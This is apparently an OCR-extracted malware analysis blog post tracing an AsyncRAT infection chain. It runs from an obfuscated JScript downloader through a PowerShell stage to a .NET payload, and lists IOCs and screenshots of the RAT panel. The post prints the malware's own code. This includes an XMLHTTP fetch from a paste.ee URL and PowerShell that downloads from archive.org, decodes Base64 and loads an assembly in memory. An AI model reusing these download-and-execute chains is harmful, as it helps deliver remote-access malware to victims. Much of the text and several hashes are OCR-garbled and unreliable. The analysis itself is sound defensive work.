Malware Analysis - AsyncRat

April 23, 2025

3 minute read

Sample:

17a59db354f270147d5da27aa7978a3c

Background



https://0xmrmagnezi.github.io/malware%20analysis/AsyncRAT/

AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other
computers through a secure encrypted connection. It provides functionality such as
keylogger, remote desktop control, and many other functions. In addition, AsyncRAT can be
delivered via various methods such as spear-phishing, malvertising, exploit kit and other
techniques.

Static Analysis

Database Entry

Intelligence @ 10Cs YARA File information Comments
SHA256 hash: 0235537e89dc75052967f8ecf0dc6f0as7e5b078157409f344e7d8d60720a7dd
SHA3-384 hash: 49f49253a14533f7084d4dcce4406d5239f0743a73b28590fb05a11f2b4692ae36ede262b082119fc795126202765078
SHA1 hash: 84e70deef33d3e98346feadfced5efc505eb0be?
MD5 hash: 17a59db354f270147d5da27aa7978a3¢c
humanhash: enemy-beer-triple-virginia
File name: Documento.js
Download: B download sample
Signature @
File size: 2'415 bytes

Figure 1: Malware Bazaar Entry

This sample was initially uploaded from the Netherlands and has since spread, with notable
activity observed in Israel and the United States.
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var crimine = "MSpml.. [ OIVIEXML2 . S, | ROV erverrmil.(, | [ @OV GxMLrni0-.(, | @@ OV HTTE" . split ("rui0..(, ¢ GOV~ f"
) .Join("");
var graptolites = new ActiveXObject (crimine);

var creodonta =

"hrm0.q(, E'}W;Iv-eﬁ-tmm:. & thD|V-€@'tr'ELD7 YN Dlveﬁ-pmuu CHP OV mu:D @OV e@-/mm .0V e'@-/mu S Dlveﬁ-pruu
oo, ¥ }w;lv-ﬁ'ﬁ'aI’mDD (¢ W Dlveﬁ-srm @ Dlveﬁ-truuu ﬁ DIVW@emDD W V. rmLDD W Dlveﬁ-emm 3 @ Dlveaermu (¢
fwADW'e@'/I'HDD (P 1B Dlveﬁ-dmm }5 DIV€’B‘/I@:U]D }W - €'8mr’ﬂ 0.4, § I-W D|V€'B'6r'mDD |-W Dlveadr-mm }5 Dlve'@rrwﬂu B0
VShreoo.(, i 1§ DIV€'8'6r'mDD |-W Dlvee-pmuu X }5 D|V€’B'MIHDEI Y ) Dlvea/m mEX }@ Dlveﬁ-o .split(’ r'ELEID SBOVSS T . joln(

R ¥

var echinoderm = r’uDD B DlVf@openrﬂDD F B OV split er:IEI Y HBOVSETy . joln( Y ;
var chebbo = rnDD WDWé@'sendrﬂDD W D|\/€6‘ Lsplit ("rmO wD|V€@' ) .join("");

var dadas = "pm0( I-W D|V€6responseTextrﬂD o, P HBOIVSG Spllt( rm] &= joln( "
var hueless = ",mDD:. P HEB . OIS Functionpmnd, i }Whulv-ee" split ("rmos(, P HELOIVSE ") . Join (") ;

graptolites[echinoderm] ("GET", creodonta, false);
graptolites[chebbo] () ;

new this[hueless] (graptolites[dadas]) (),

Figure 2: First Stage Code
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The first stage uses a relatively simple split and join technique to construct a new string. To

disable the original functionality and observe variable values, | modified the code to use
console.log, as shown in Figure 3.

B d f8ec0dcEf0a5Tesb078 1 JsJBnEW\El

) .join("");
2 var creodonta =

FHB.

|V€6/r-u:: Y OVAB /o
o, § |-W OV<ermin..{
(.

|-W OIV~SErermD
W~ rroD

}W Elll\-/ée'dr" LOIVLS draO.

“8/r B B
|-W Dlvﬁe'pru,, (s }w VS MmO l \V%@'/rm,,

\Vé@wrn OIVSS 6pmOo. }W I-W;
3 var echlnoderm L8 |-W \V€'B':>pe 1m0, I-w oV~ Spllt( faui] EI L LOWV<E ") .join("y ;
4 var chebbo = H A 8 AN O -é@'”) .Join("7)
5 var dadas = "rrl] +d, EF B OIVSG ) Loin() ;
6 var hueless = "rmll VPSS D|V€6I spllt( IELEL P HBLOVSB) SJoin(ty 5
7
8
9 console.log (" ", crimine);
10 console.log (" ", creodonta) ;
11 console.log (" ", echinoderm) ;
12 console.log (" O ", chebbo) ;
13 console.log("dadas: ", dadas);
14 console.log("hueless: ", hueless) ;‘

Figure 3: Disarmed JS Code

In addition, | used a neat trick: | opened the browser’s developer tools and ran the code
directly there to observe the output, as demonstrated in Figure 4.

1 var crimine = "MSrmiO-.(, ¢ F@.OIVFxXML2 . Spui-(, & @O~ erverrnin.-(, ¢ [0V xXMLro0-(, | @ OVTFHTTP" . split ("roi0-~(, ¢ Ha.OV=1§" -+

w0, OIS B o
- o

1P H®.0
VS0 . split ("rmi0e(, i B0V ) . joln(
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‘s [0 FElements Console Sources > @7 B1 {8 X
M @ tpvy @ Y Filter Default levels w
1 Issue: B 1 €§3

> var crimine = "MSruBEEE: HE BIVEXML2. SruEEEE: HE BTV
Herverrupzzas [ arv< S rupeEa: [ arv<f
HTTP" . split( " ruBEEE: | g BTV ). join("");
var creodonta = "hruBBEEE }ﬁ,_EI“v’-ﬁ'-'&trquIEIEIEE' I"W_EIV‘EE&
trupEEs; [ erv&pruyzeee:’ [ {P Brv< : rupzee; [ v/
rugeEn; [ BV /ruzeee; [P arv<prupzas; | orvB
arugEEd; |, v s ryzzee: [ Brv<Etrupeme: [ Erv-f
eruzEEE; [ BV . ruzzeei P BIv< eruzzmm; [ mrvf
eruszEd; [ BV / ryzEee: [P Brv<$druzaee; [ v/
rupEEE; [ Brv<GnrupeEn; P v eruzzem; [ v
drupzEs; |, v reyzzee: [ Brv<Shruzeee: [ Ev-f
6ruzeee; | Brv<$pruzzen; B Brv< §rruzeee; [ Erv<d/
ryEEEE: |G BIV<@er . split (" ruzzeE: | BIV
&) . join("");
var echinoderm = "pruEEEE; I-w',_EI'v’-\jﬂ‘openrjuEEIEJ' |-w,_lilﬂ-'-€'
& . split("ruseeE: [P BV ). Join("");
var chebbo = "rufEEE: [ BV sendruzzee: |HE BTV
& . split("ruseeE: [P BV ). Join("");
var dadas = "ryEEEE: }w,ﬂﬂ’-\jﬁrespnnseTextpuEEIEI;' |-'w
AV split("ruzEEe: [ V<@ ). join("");
var hueless = "pyEEEE: |-¥_~EII\-’-'§&FunctiDnrjuE|EE_' I—W_EIV-\"-
& . split("ruseeE: [ VIS ") . Join("");

console.log("crimine: ", crimine);
console.log("creocdonta: ", creodonta);
console.log("echinoderm: ", echinoderm);
console.log("chebbo: ", chebbo);
console.log("dadas: ", dadas);
CDHSDlE.lDE{“hUElESS: ", hueless);

crimine: MSXMLZ.ServerXMLHTTP VM235:8
creodonta: http://paste.ee/d/mbdrhepM/8 VM235:9
echinoderm: open VM235:18
chebbo: send VM239:11
dadas: responselText VM239:12
e hueless: Function VM239:13

Figure 47 Dev ool Code

These results uncovered a Pastebin URL used to retrieve the second stage of the malware.
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Second Stage

The Second stage features heavily obfuscated code, containing around 7,500 lines, intended
to obstruct analysis and evade detection. As shown in Figure 5, this snippet represents a
small segment of the heavily obfuscated code.

1 ~
2 var belletristic = ([I+[ ([1["acroceraunian"]+[1)[01 + (I 1+01) [11 + ([10" atively"1+[D [2]1 + ([1["squintifego”I+[1) [3]1 + ([1["MSTID"I+I1) [4] +
([1[Munwrapped”1+01) [5] + ([1["waterboards”I1+[1) [61 + ([1["pantopodMap”1+[1) [V] + ([1["glimse"1+[1) [21 + ([1["slice"1+[1) [911["MSTID"1) [01;
3 var Bunyan = ([I+[ ([I["= raunian”l+[1) [0] + ([1["pantopod”]+[1) [1]1 + ([1["conatively”1+[1)[2] + ([1["squintifeqo”]+[1) [3] + (L1L["MSTID"1+[1)[4] + (1L
"unwrapped”1+01) [51 + ([1["wate rds"1+[1) [61 + ([1["pantopodMap”1+[1) [71 + ([1["glimse"1+[1) [2] + ([I1["slice"I+[D[911["a eraunian”l) [11;
4 var manatigq = ([1+[ ([1["acroceraunian”]+[1) [01 + ([1["panto 1401 [11 + ([1["conatively"1+[1) [2]1 + ([1["squintifego”I+[1) [31 + ([1["MSTID"I+[1) [4]1 + ([1L
"unwrapped"]1+[1) [51 + ([1["waterboards"]1+[1) [6] + ([1["pantopodMap™l+[1)[7] + ([1["glimse"]1+[1)[2] + ([1["slice”1+[1)[9]11["pantopod”])[2];
5 var photosantonic = ([I1+[ ([1["acroceraunian”]+[1)[0] + ([1["pantopod”1+[1) [11 + ([1["conatively”I1+[1) [2]1 + ([1["squintifego”l+[1) [31 + ([1["MSTID"I+[1) [41 +
([1["unwrapped”1+[1) [5]1 + ([1["waterboards"1+[1)[c] + ([1["pantopodMap”I+[1) [V]1 + ([I1["glimse"1+4[1)[2] + ([1["slice"1+[1)[°1]1["waterboards"1)[21;
6 var separately = ([1+[ ([]1["acroceraunian”]+[1)[0] + ([1["pantopod”l+[1)[1]1 + ([1["conat 1y"1+[1) [2]1 + ([1["squintifego"1+[1) [3]1 + ([I["MSTID"1+[1)[4]1 + ([1L
Tunwrapped”1+01) [51 + ([1["wate rds"1+[1) [6]1 + ([1["pantopodMap”1+[1) [71 + ([1["glimse”1+[1) [E]1 + ([I1["slice"1+[1)[9110"some"1) [4]1;
7 var passers = ([1+[ ([1["acroceraunian”]+[1)[0] + ([1["pan 1401 [11 + ([1["conatively”]+[1) [2] + ([1["squintifego”l+[1) [5] + ([1["MSTID"1+[1) [41 + ([1L
"unwrapped”1+01) [51 + (L1 ["w rds"1+[1) [61 + ([1["pantopodMap”1+[1) [71 + ([1["glimse"1+[1) [21 + ([1["slice"1+[1)[911["conatively"1)[2]1;
8 var nontipped = ([ ([1["a raunian”l+[1) [0]1 + ([1["pantopod”l+[1)[1]1 + ([1["conatively"I+[1)[2] + ([1["squintifego”1+[1)[3]1 + (L1["MSTID"1+[1)[41 + ([IL
"unwrapped"1+[1) [51 + (I1L rds"1+[1) [6] + ([1["pantopodMap”l+[1)[7]1 + ([1["glimse"1+[1)[°] + (L1["slice"1+[1)[911+[1["slice”])([5];
9 var cookers = ([1+[ ([]["aprac nian”1+[1) [01 + ([1["panto "1+ [11 + ([1["conatively”1+[1) [2]1 + ([1["squintifego”l+[1) [31 + ([1["MSTID"I+[1) [41 + ([1L
"unwrapped"]1+[1) [51 + ([1["wate rds"1+[1) [6] + ([1["pantopodMap™l+[1) [7]1 + ([1["glimse"1+[1)[2] + ([1["slice"1+[1)[211["unwrapped”]) [€1;
10 var animally = ([ ([]["acroceraunian”]+[1) [0] + ([1["pantopod”l+[1)[1] + ([1["conatively"1+[1)[2] + ([1["squintifego”1+[1)[3]1 + ([I["MSTID"1+[1)[4] + ([1L
"unwrapped”1+01) [51 + ([1["wate Tds"1+[1) [61 + ([1["pantopodMap”1+[1) [71 + ([1["glimse”1+[1) [E1 + ([I1["slice”1+[D) [911+[1["glinse"1) [71;
11 var dataria = ([]+[ ([1["acroceraunian”]+[])[0]1 + ([1["pan "1+[1) [11 + ([1["conatively"]+[1)[2] + ([1["squintifeqo”l+[1)[3] + ([I1["MSTID"I+[1)[4] + ([1L
"unwrapped"]1+[1) [51 + ([1["wate rds"1+[1) [6] + ([1["pantopodMap”1+[1)[7]1 + ([1["glimse"1+[1)[2]1 + ([1["slice"1+[1)[911["perspicaciously”])[8];
12
B]
14 var playwrights = ([1+[Infinityl[+[11)[01,
15 aplanatism = ([1+[Infinity]l[+[11)[1],
16 proferring = ([1+[Infinity]l [+[11)[2],
17 plowk = ([1+[Infinity] [+[11)[31,
18 halftones = ([I+[Infinity] [+[11)[4],
19 pulicidae = ([I+[Infinityl[+[11)[°1,
20 seichometer = ([1+[Infinity]l [+[11)[¢],
21 gaols = ([1+[Infinityl [+[11)[71,
22 embolismic = ([I+[Infinityl[+[11) 7],
23 ampac = ([1+[Infinityl[+[11)[°1;
24
25 var belletristic = ([1+[ ([I["acroceraunian”l+[1) [01 + ([1["pantopod”l+[1) [11 + ([1["conatively”I1+[1)[2] + ([1["squintifego”1+[1) [51 + ([1["MSTID"1+£[1) [4]1 +
(L1 ["unwrapped”]1+[1) [5] + ([1["waterboards"1+[1) [6]1 + ([1["pantopodMap”]+[1) [7] + ([1["glimse"1+[1) [2] + ([1["slice™1+[1) [°1]1["MSTID"]) [0];
26 var Bunyan = ([1+[ ([1["acroceraunian”l+[1) [0]1 + ([1["pantopod”l+[1) [11 + ([1["conatively”1+[1)[2] + ([1["squintifego”l+[1) [5]1 + (LI["MSTID"I+[D)[4] + ([1L v
JavaScript file length: 1367630 _lines : 7,450 Ln: 7450 Col:308 Pos: 1,367,631 Windows (CRLF) _ UTF-8 INS

Figure 57 Ubiuscated CLode

The majority of the obfuscation techniques involved injecting junk code to mask the
malware’s original functionality. After removing the junk code, what remained was a simple
function that modifies a string and a long string. In the final step, the code is executed using
WScript as shown in Figure 6.

1 B

2 function syncranteric(cicisbeism) {

3 var faitor = "prl-.(, i HPONVIG";

4 var gusli = cicisbeism.replace(new RegExp(faitor, "g"), "");

5} return gusli;

6 }

7

8 var gutterball = "JinflicterBzinflicterHUinflicterZwBhinflicterG4inflictercwinflicterginflicterDOinflicterIinflicterinflicterninflic

9 gutterball = syncranteric(gutterball); EI

10

11 var saccomyoid = "rml] OWVSSproio.(, i OV owrnO~(, i OIS ;

12

13 saccomyoid += "rml. ;

14 saccomyoid &G OIVSBurmos (P IOV Born;

15 saccomyoid : H

16 | saccomyoid _ s -we@ CormD whul\/ee-"-

17 | saccomyoid }@hmlveﬁi \" s Ml M FE OV scr LB OIS Sormnn, OIS

18 saccomyoid V<@igo = pm0-q, i |-®AD|\/€8"";

19 saccomyoid ;

20 saccomyoid jux LSOV sten. roiD HB OV~ Texrnon..(, § FW»DNﬂ’B't Ernia.-(, i 1.0V Sncormin.

21 saccomyoid fwﬂﬂlvﬂﬁ'ver’m B .0IVSBrt]: :FromBase6rml Fwnm\/fﬂ"l\trlna(mudrﬂ,,.' alv '8' groid.q, "I—%A,l\/

22 | saccomyoid | @IV B nvornon.. @OV~ B ke-Exprrean-(, § HE.OIVBesrnon.{, i HE.OVHsion sowrm "}WA_IV*@jumL_ :

23 saccomyoid = syncranteric(saccomyoid) ;

24

25 wvar sexpert = WScript.CreateObject ("WScript.Shell™) ; |

26

27 sexpert.Run(saccomyoid, 0, false);

28

29

30 sexpert = null;

31 v
< >
JavaScript file length: 12,427 lines:31 Ln:25 Col:1 Pos: 12315 Windows (CRLF)  UTF-8 INS

Figure 6: Clearing The Code
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Using CyberChef, | was able to replicate the functionality of the previously observed string
manipulation. This revealed the type of manipulation applied to the long string: it replaces a
specific word with the letter ‘A’ and then decodes the result from Base64.

Operations Recipe ~0®mE  nput +oOze =

ruBEEE; 1B BV @ pruzEan; HB Bv<@ouruzzzs; [P BV ruzesa; [P BV errummma; B BV srumes; K
_BIV- <ﬁmmjm|3 }G EIIV#BheruIIEI 7 18 BVl -rupERE; }U mmvaurumam] }@ BIv- €aoPr‘uEEIEIEI }G av<fy

repl Find / Replace ~Qn

Find / Replace

REGEX ~ & r IU B \"ru
< @ mrvifrigo = ryzm:
r " 1B BV stem. ruEEEE; |,
Global match BV ncoruBEEE; | | EN{&ajnmaﬂm H® Erv<fg] : : UniruBEEE

Randomize Colour Palette

Replace .
o @hmie] (2 LBV tstripupzne) | v Bng([Conruezaz} | EIv< frveruzama; [ BNV rt] : : FromBase6ruEEEE! 1B vy
4string($Codrul “Bigry | Erv<fo.Replarua | Erv<iBce( " inflicterrupzEmi H 7
Bit shift right -+ pgmEEs 1B EveBA)));
&l [ Case insensitive Multiline matching &, ruzzzes HP rvafa’))); Irud & Ervifynvoruszez; | BV frke- Exprruzzzs; [ Elvvﬁesru:m:ﬂ
BV sion $ONryBEEE: B BV juruEanm; [ BV xd\ "\
ROT8000

Remove Diacritics [ Dot matches all

SHAQ me 922 =2 Tr Row Bytes € LF
Streebog Output 5] I_D @ o
Substitute powershell -NoProfile -Command \"\"$Codigo = '

$0Wjuxd =
Favourites * [System.Text.Encoding]::Unicode.GetString([Convert]: :FromBase64String($Codigo.Replace (" inflicter’, A%)));

Invoke-Expression $OWjuxd\

Data format
Encryption / Encoding
Public Key

Arithmetic / Logic

Networking

Languass STE m RutclBaie 102

Figure 77 CyberChet EXtraction

2 Q2 @ s Tr UTF-s (detected) & LF

Next, | took the long string and applied the manipulation uncovered earlier, which revealed
what appears to be a reversed URL, as shown in Figure 8.

Operations Recipe ~ B T input + 038 =
remov Find/ Rent ~ @ g inflicterbzinflicterHUinflicterZuBhinflicterGainflictercuinflicterginflicterDoinflicterTinflicterinflicternin
iaReplacy flicterDinflicterinflicterLuBGinflicterHUinflictertuB3inflicterGkinflicterdQBKinflicterDEinflicterluBkinflicte
rC8inflicterZQBlinflicterCAinflicterzQinflicterjinflicterHitinflicterYQBuinflicterC8inflicterluinflictersinflic

Remove EXIF Find Replace

inflicter REGEX ~ A terHMinflictercinflicterinflicterjinflicterCMinflicterainflicterinflicterninflicterDsinflicterJinflicterBwinfl
icterHUinflictercgBzinflicterHkinflicterIinflicterinflicterdinflicterCinflicterinflicterJinflicterBzinflictert
UinflicterZwBhinflicterG4inflictercwinflicterginflicterC@inflictercgBlinflicterHinflicterinflicterbinflicterBh

Global match ] Case insensitive Multiline matching inflicterGMinflicterZQinflicterginflicterCcinflicterluinflicterninflicterCuinflicterlinflicterinflicterninflic
terHQinflicterdwinflicter7inflicterCQinflicterZinflicterBlinflicterHMinflicterbQBvinflicterGkinflicterZinflict
erinflicterginflicterD@inflicterlinflicterinflicterninflicterGginflicterdinflicterBOinflicterHinflicterinflict

Remove Diacritics

Remove null bytes

Remove whitespace

[ Dot matches all ercwinflicter6inflicterCdinflicterLuBhinflicterHIinflicterYwBoinflicterGkinflicterdgBlinflicterC4inflicterbuby
inflicterGeinflicterlwBkinflicterG8inflicterduBuinflicterGuinflicterbuBhinflicterGQinflicterlwBuinflicterGUinf
L e e licterdwBfinflicterGkinflicterbQBhinflicterGeinflicterZQBfinflicterDIinflicterMinflicterinflicteryinflicterDUi
From Base6d ~ © n  nflicterMinflicterinflicterdinflicterDEinflicterMuinflictervinflicterGAinflicterZQB3inflicterf8inflicteraQBtin
Defang IP Addresses flicterGEinflicterZwBlinflicterC4inflicteragBuinflicterGeinflicterJuinflicter7inflicterCQinflicterdQBuinflicte
Alohabet rGuinflicterbuBhinflicterGQinflicterTinflicterinflicterdinflicterCinflicterinflicterTgBlinflicterHcinflicterlQ
Fang URL A-Za-70-9+/= M Remove non-alphabet chars e 030 = 1 Tr Rew Bytes € LF
From Base58 Output B0O®::
[ Strict mode
Strip HTML tags | $sugans - "@/Fulwiul/d/ee.e#sap//:sp##h ;$pursy = Ssugans -replace "#'] "t';$desmoid -
“https://archive.org/download/new_image 20256413 /new_image.jpg ;ounload = New-Object
Strip HTTP headers e mr ~ © 1 System.Net.WebClient;$unload.Headers.Add("User-Agent’, Mozilla/5.0");$talliate =
$unload.DownloadData($desnoid) ;$feroxyhyte = [System.Text.Encoding]::UTF8.GetString($talliate);$gallian =
To BaseS8 '<<BASE64_START>>';$honeysuckles = '<<BASEG4_END>>';$luging = $feroxyhyte.IndexOf($gallian);$defibrillate =

$feroxyhyte.Index0f ($honeysuckles);$luging -ge @ -and $defibrillate -gt $luging;$luging +=
$gallian.Length;$eusiphonia = $defibrillate - $luging;$magpie = $feroxyhyte.Substring($luging,
$eusiphonia);$hypocritically = [System.Convert]::FromBase64String($magpie);$nastus =
[System.Reflection.Assembly] : : Load($hypocritically);$concretized =

[dn1ib.I0. Home] .GetMethod ("VAL" ). Invoke($null, [object[]]

@($pursy,’ 17, 'C:\Users\Public\Downloads, Badalona’, 'MSBuild’, ", ", ", ", ", ", 35", ", ", ", 2, "))

Unique
Favourites *
Data format

Encryption / Encoding

STEP
Public Key Auto Bake =

Figure &7 CyberChet 10 decode the siring

1 © s Trurs e LF

Downloading the content hosted at that URL revealed a long, reversed Base64-encoded
string. After decoding it, a new executable file was uncovered, as shown in Figure 9.
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Operations Recipe
reve Reverse
Reverse Bv

Character
Remove EXIF

From Base64
Remove Diacritics

Alphabet

Remove null bytes A-Za-z0-9+/=

Remove whitespace
[ strict mode

Remove line numbers

Derive EVP key

ECDSA Signature Conversion

From Case Insensitive Regex

Parse IPv4 header

Parse IPv6 address

Bombe

Disassemble x86

Randomize Colour Palette

*

Favourites

Data format

~ BT input +oO3Z@=
W @ 11 OPAAUBKAAQC:DELOAAMARAOKAMAIGiAAMANAGTBAENC 001KGADAOR: IQD3bISGaCC B, AAAAA
AAE }/ YFQGFUrdcENKh6pIYOEIKOGDZIRE ZUr digRTgAGamJ1QEF PR2ugnd
VSCOEUep4FdritutQuaS+ 1FAIISr cRUDESCBIXK32dea +/dxAQSaL RRLy+1VB+,
UIB+/AAAAAAAAAAAUTXATAUOIBAAAAAAAAAAA 186GOdKqC @7 2r0yX2OT5ngONQEROADRN / SYOAVhaFPVINAFO VT PyAzSH2WZNM/TCa0R
S5In0kK/19pICREZGV19ho8hvSbnZ5SZTNOSQALdUALYDThaHE 6] ym+Zsv/yLc 2v75gtk3PnKp+GORIXOOMONnh JyhxZ fg/rFOCLoKMPAZYIQ
28/+04n64pXQRRR Th3s5nP9+15 EdLutHrq)epVUADsAZVH1INS@1QImm3Q02Pmx5aQGhI)yL1++//bE7E
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Figure 97 Outputs New EXE

Third Stage

The third stage of the malware is written in .NET and is most likely the unpacked version of

the final payload.

File name

Detect It Easy v3.09 [Windows 10 Version 2009] (x26_64)

|E| |C:¥Jsers\,ﬂx\pnwnlcads\ouh:ut.bin

File type File size Base address Entry paint Y Advanced
|PE32 - || 76.00 KiB | | 00400000 I 004147ee [| » | ——8 —
— | Demangle |
| File info | | Memary map | | Disasm | | Hex | | Strings | | Signatures | | VirusTotal |
|  wMME | | visualization || Search || Hash || Entropy || Extractor ||  vARA |
| PE | Export | Import | | Resources | | .MET | TLS Overlay
Sections MET ID Size of image Resources
. o003 || = || cB00Bf07 | ooolaooo Manifest || Version |
Scan Endianness Mode Architecture Type
| Automatic || L bt || 1336 L GUI |
* PE32
Operation systerm: Windows(93)[1386, 32-bit, GUI] 5 7
Linker: Microsoft Linker 5 7
Compiler: VB.MET 5 H
Language: BASIC 5 i
Library: .MET(w4.0,.30319) 5 7 | Shortouts |
Protector: .MET Reactar(6.X) 5 ? —
Protector: Smart Assembly(8.0.4.4860) S 7 | options |
| Signatures | v | Recursive scan | Deep scan Heuristic scan v Verbose | About |
S N Scan —
| Directory || Log [ || all types |i| | 139 msec | Exit |

Figure 107 Using Detect it Easy
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Figure 11 highlights the capabilities of the RAT, including C2 communication, code execution,
debugging features, and more.

::Use API [C0021.003]

: :Encoding-Standard Algorithm [E1027.m@2]
: :Encryption-Standard Algorithm [E1027.m@5]

Given that the malware was written in .NET, | used dnSpy to decompile and analyze the
code, which allowed me to extract the full configuration, as presented in Figure 12.

8/12



n
num = nu;

ATServer [lssuer] CM=AsyncRAT Server [Se m.Security.Cryptog

As expected from a RAT, it also collects various environment details such as the hostname,
user ID, and more.
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strToHash)

stringBuilder;

Value
returned
returned
returned
returned
returned
returned
returned

returned

Dynamic Analysis

Once executed, the RAT attempts to establish a connection on port 5090 at regular intervals,
as observed in TCPView and shown in Figure 14.

«7 TCPView - Sysinternals: www.sysinternals.com

File Edit View Process Connection Options Help

C O EH % 4 TCP v4 TCP v6 4 UDP w4 UDP v6 F'Il |°U‘DUt |

Process Name Process ID Protocel State Local Address Local Port Remote Address Remote Port Create Time  Module Name
O

igure . lew Outpu

The network communication can also be observed using Wireshark, providing further insight
into the RAT’s connection attempts.

[ |dns

No. Time Source Destination Protocol Length Info
2 4.989438598 10.0.0.4 91 Standard query 0x55ad A deadpoolstart205@.duckdns.org
3 4.996961311 10.0.8.3 107 Standard query response 0x55ad A deadpoolstart2e56.duckdns.org A 10.0.0.3

Figure 15: Using WireShark

I0Cs
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e Hash:

17a59db354f270147d5da27aa7978a3c
40fb01ac9879cf7ea9e9a375bd525a66

e URL
hxxps://paste[.]ee/d/1Juiw3uF/0

hxxps://paste[.]ee/d/m6drh6pM/0
deadpoolstart2050[.]duckdns[.]org

Extras

Curious about what AsyncRAT looks like from the attacker’s perspective? The following
images provide a glimpse into the control panel of the AsyncRAT server, highlighting some of

its core functionalities.

Y AsyncRAT05.8  11:23:45 PM - O *
Clignts Logs Thumbnail Tasks
IP Address Courtry Group  HWID Usemame Operating System Payload Version  Installed Privleges ~ Anti-Virus Software  Ping

[ 2 |1270015090 Locatost Defaut | HNENRNHERNE o Windows 10 Pro 84bit  0.5.8 I - Windows Defender 0 M5
Figure 16: RAT GUI

@ Visit Website

E] Send MessageBox

Gey chat
e Get Admin Privileges
i ’%l Blank Screen »

® Dizable Windows Defender

]
lzl Set Wallpaper

gure 17: RAT Options
Remote Desktop

1-i

Keylogger
Password Recovery
File Manager
Process Manager

Report Window 3

=
i
3

© i © 7% @ 1

igure 18- RAT Options
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Figure T9: RAT Options
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